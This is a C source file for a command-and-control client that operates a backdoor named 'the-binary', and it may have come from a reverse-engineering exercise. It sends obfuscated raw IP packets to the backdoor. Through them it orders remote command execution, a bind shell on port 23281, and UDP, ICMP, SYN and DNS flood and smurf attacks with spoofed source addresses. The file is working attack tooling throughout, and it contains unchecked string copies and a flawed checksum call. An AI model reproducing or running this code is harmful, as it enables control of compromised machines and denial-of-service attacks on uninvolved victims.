#include <stdio.h>
#include <getopt.h>
#include <netinet/ip.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

/* The reverse of packet_encode */
void packet_decode(int input_size, char* input, char* output)
{
	int c;

	for (c=input_size-1; c > 0; c--) {
		output[c] = input[c] - input[c-1] - 0x17;
	}
	output[0] = input[0] - 0x17;
}

/* Simple obfuscation of the packet data */
void packet_encode(int input_size, char* input, char* output)
{
	int c;

	output[0] = input[0] + 0x17;
	for (c=1; c <= input_size; c++) {
		output[c] = output[c-1] + input[c] + 0x17;
	}
}

/* W. Richard Stevens */
u_int16_t in_cksum(u_int16_t *addr, int len)
{
	int nleft = len;
	int sum = 0;
	u_int16_t *w = addr;
	u_int16_t answer = 0;

	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(u_int16_t*) (&answer) = *(u_int16_t*) w;
		sum += answer;
	}
	
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
}

/* Sends a control packet */
int send_packet(u_int32_t source, u_int32_t dest, char* packet_data, int packet_size)
{
	int sock;
	struct sockaddr_in remote_addr;

	struct Packet {
		struct iphdr ip;
		char data[3];
	} *packet;

    /* open a raw socket for sending the DNS requests */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		printf("error opening raw socket: %s\n", strerror(errno));
		return 1;
	}

	packet = (struct Packet*) malloc(sizeof(struct Packet) + packet_size);
	if (!packet) {
		printf("error in malloc\n");
		return 1;
	}

	/* source and destination address */
	packet->ip.saddr = source;
	packet->ip.daddr = dest;

	remote_addr.sin_addr.s_addr = dest;
	remote_addr.sin_port = 0;
	remote_addr.sin_family = AF_INET;

	packet->ip.version = 0x4;	/* ip version */
	packet->ip.ihl = 0x5;

	packet->ip.ttl = 250;		/* ip ttl */
	packet->ip.protocol = 0x0B;
	packet->ip.tot_len = htons(packet_size + 22);
	packet->ip.tos = 0;
	packet->ip.id = random();	/* ip id */
	packet->ip.frag_off = 0;

	packet->ip.check = 0;
	packet->ip.check = in_cksum((u_int16_t*)&packet, 20);

	/* set the signature to 2 */
	packet->data[0] = 2;

	/* Encode the data and put it in the ip buffer */
	packet_encode(packet_size, packet_data, &packet->data[2]);

	/* send the packet */
	sendto(sock, (char*)packet, 22 + packet_size, 0,
		(struct sockaddr*)&remote_addr, sizeof(remote_addr));

	free(packet);
	close(sock);

	return 0;
}

void print_help()
{
	printf("the-binary Client\n");
	printf("Syntax: the-binary-client <command> [options]\n");
	printf("To change the IP addresses of the client and the backdoor, edit the source\n\n");
	printf("Commands:\n");
	printf("  init: initializes the client address list\n");
	printf("    --type <type>             type of address list\n");
	printf("    --ip <a.b.c.d>            client ip (if type=2, spiecify 10 addresses)\n");
	printf("  status: returns status information\n");
	printf("  kill: kills the DoS or shell process\n");
	printf("    no parameters\n");
	printf("  exec: execute a command and discard the output\n");
	printf("    --cmd <string>            command line\n");
	printf("  exec_output: execute a command and return the output\n");
	printf("    --cmd  <string>           command line\n");
	printf("  bind_shell: bind a shell on port 23281\n");
	printf("    no parameters\n");
	printf("  udp_flood: launch udp flood attack\n");
	printf("    --src <a.b.c.d>          source ip address\n");
	printf("    --dst <a.b.c.d>          destination ip address\n");
	printf("    --hostname <hostname>     destination hostname\n");
	printf("    --d_port <port>           destination port for the packet\n");
	printf("  icmp_flood: launch icmp ping flood/smurf attack\n");
	printf("    --src <a.b.c.d>          source ip address\n");
	printf("    --dst <a.b.c.d>          destination ip address\n");
	printf("    --hostname <hostname>     destination hostname\n");
	printf("  syn_flood: launch syn flood attack\n");
	printf("    --src <a.b.c.d>          source ip address (if not supplied, use a random ip)\n");
	printf("    --dst <a.b.c.d>          destination ip address\n");
	printf("    --hostname <hostname>     destination hostname\n");
	printf("    --d_port <port>           destination port for the SYN packet\n");
	printf("    --sleep_after <number>    sleep after number packets have been sent (optional)\n");
	printf("  dns_flood: launch a dns query flood attack\n");
	printf("    --src <a.b.c.d>          source ip address (if not supplied, use a random ip)\n");
	printf("    --dst <a.b.c.d>          destination ip address\n");
	printf("    --hostname <hostname>     destination hostname\n");
	printf("    --s_port <port>           source port for the queries (optional)\n");
	printf("    --sleep_after <number>    sleep after number packets have been sent (optional)\n");
	printf("  dns_smurf: launch dns smurf attack\n");
	printf("    --ip <a.b.c.d>           victim ip address\n");
	printf("    --hostname <hostname>     victim hostname\n");
	printf("    --s_port <port>           source port for the queries (optional)\n");
	printf("    --sleep_after <number>    sleep after number packets have been sent (optional)\n");
	exit(1);
}

int main(int argc, char* argv[])
{
	int arg;
	int option_index = 0;
	int command;
	
	u_int32_t source;
	u_int32_t dest;
	char packet[1000];
	int i;

	int type;
	u_int32_t ip[10];
	int ip_counter = 0;
	char cmd[200] = "";
	char hostname[200]= "";
	int o_hostname = 0;
	u_int16_t s_port = 0;
	int sleep_after = 0;
	u_int32_t src = 0;
	u_int32_t dst;
	int o_src = 0;
	int do_udp = 0;
	u_int16_t d_port = 0;
	
	static struct option long_options[] =
	{
		{ "type", required_argument, 0, 't' },
		{ "ip", required_argument, 0, 'i' },
		{ "cmd", required_argument, 0, 'c' },
		{ "hostname", required_argument, 0, 'h' },
		{ "s_port", required_argument, 0, 'p' },
		{ "sleep_after", required_argument, 0, 'l' },
		{ "src", required_argument, 0, 's' },
		{ "dst", required_argument, 0, 'd' },
		{ "d_port", required_argument, 0, 'P' },
		{ 0, 0, 0, 0 }
	};

	if (argc < 2)
		print_help();

	if (!strcmp(argv[1], "status"))
		command = 1;
	else if (!strcmp(argv[1], "init"))
		command = 2;
	else if (!strcmp(argv[1], "exec_output"))
		command = 3;
	else if (!strcmp(argv[1], "dns_smurf"))
		command = 4;
	else if (!strcmp(argv[1], "icmp_flood"))
		command = 5;
	else if (!strcmp(argv[1], "udp_flood")) {
		command = 5;
		do_udp = 1;
	}
	else if (!strcmp(argv[1], "bind_shell"))
		command = 6;
	else if (!strcmp(argv[1], "exec"))
		command = 7;
	else if (!strcmp(argv[1], "kill"))
		command = 8;
	else if (!strcmp(argv[1], "syn_flood"))
		command = 10;
	else if (!strcmp(argv[1], "dns_flood"))
		command = 12;
	else
		print_help();

	while ((arg = getopt_long(argc, argv, "", long_options, &option_index)) != -1) {
		switch (arg) {
			case 't':
				type = atoi(optarg);
				break;
			case 'i':
				ip[ip_counter++] = inet_addr(optarg);
				break;
			case 'c':
				strcpy(cmd, optarg);	/* dont suid that :-) */
				break;
			case 'h':
				strcpy(hostname, optarg);
				o_hostname = 1;
				break;
			case 'p':
				s_port = atoi(optarg);
				break;
			case 'l':
				sleep_after = atoi(optarg);
				break;
			case 's':
				src = inet_addr(optarg);
				o_src = 1;
				break;
			case 'd':
				dst = inet_addr(optarg);
				break;
			case 'P':
				d_port = atoi(optarg);
				break;
			default:
				print_help();
		}
	}

	source = inet_addr("192.168.0.1");
	dest = inet_addr("192.168.0.3");
	
	switch (command) {
		case 1:
			packet[1] = 1;
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 2:
			packet[1] = 2;
			packet[2] = type;
			for (i=0;i<ip_counter;i++)
				*(u_int32_t*)&packet[3+i*4] = ip[i];
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 3:
			packet[1] = 3;
			strcpy(&packet[2], cmd);
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 4:
			if (sleep_after == 0) {
				packet[1] = 4;
				*(u_int32_t*)&packet[2] = ip[0];
				*(u_int16_t*)&packet[6] = htons(s_port);
				packet[8] = o_hostname;
				strcpy(&packet[9], hostname);
			}
			else {
				packet[1] = 9;
				*(u_int32_t*)&packet[2] = ip[0];
				packet[6] = sleep_after;
				*(u_int16_t*)&packet[7] = htons(s_port);
				packet[9] = o_hostname;
				strcpy(&packet[10], hostname);
			}
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 5:
			packet[1] = 5;
			packet[2] = do_udp;
			packet[3] = (char)d_port;
			*(u_int32_t*)&packet[4] = src;
			packet[12] = o_hostname;
			if (o_hostname)
				strcpy(&packet[13], hostname);
			else
				*(u_int32_t*)&packet[8] = dst;
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 6:
			packet[1] = 6;
			send_packet(source, dest, packet, 400 + random() % 200);
			break;
			
		case 7:
			packet[1] = 7;
			strcpy(&packet[2], cmd);
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 8:
			packet[1] = 8;
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 10:
			if (sleep_after == 0) {
				packet[1] = 10;
				*(u_int16_t*)&packet[6] = htons(d_port);
				packet[8] = o_src;
				if (o_src)
					*(u_int32_t*)&packet[9] = src;
				packet[13] = o_hostname;
				if (o_hostname)
					strcpy(&packet[14], hostname);
				else
					*(u_int32_t*)&packet[2] = dst;
			}
			else {
				packet[1] = 11;
				*(u_int16_t*)&packet[6] = htons(d_port);
				packet[8] = o_src;
				if (o_src)
					*(u_int32_t*)&packet[9] = src;
				packet[13] = sleep_after;
				packet[14] = o_hostname;
				if (o_hostname)
					strcpy(&packet[15], hostname);
				else
					*(u_int32_t*)&packet[2] = dst;
			}
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		case 12:
			packet[1] = 12;
			*(u_int32_t*)&packet[6] = src;
			packet[10] = sleep_after;
			*(u_int16_t*)&packet[11] = htons(s_port);
			packet[13] = o_hostname;
			if (o_hostname)
				strcpy(&packet[14], hostname);
			else
				*(u_int32_t*)&packet[2] = dst;
			send_packet(source, dest, packet, 400 + random() % 200);
			break;

		default:
			printf("Unknown command\n");
			break;
	}
	
	return 0;
}
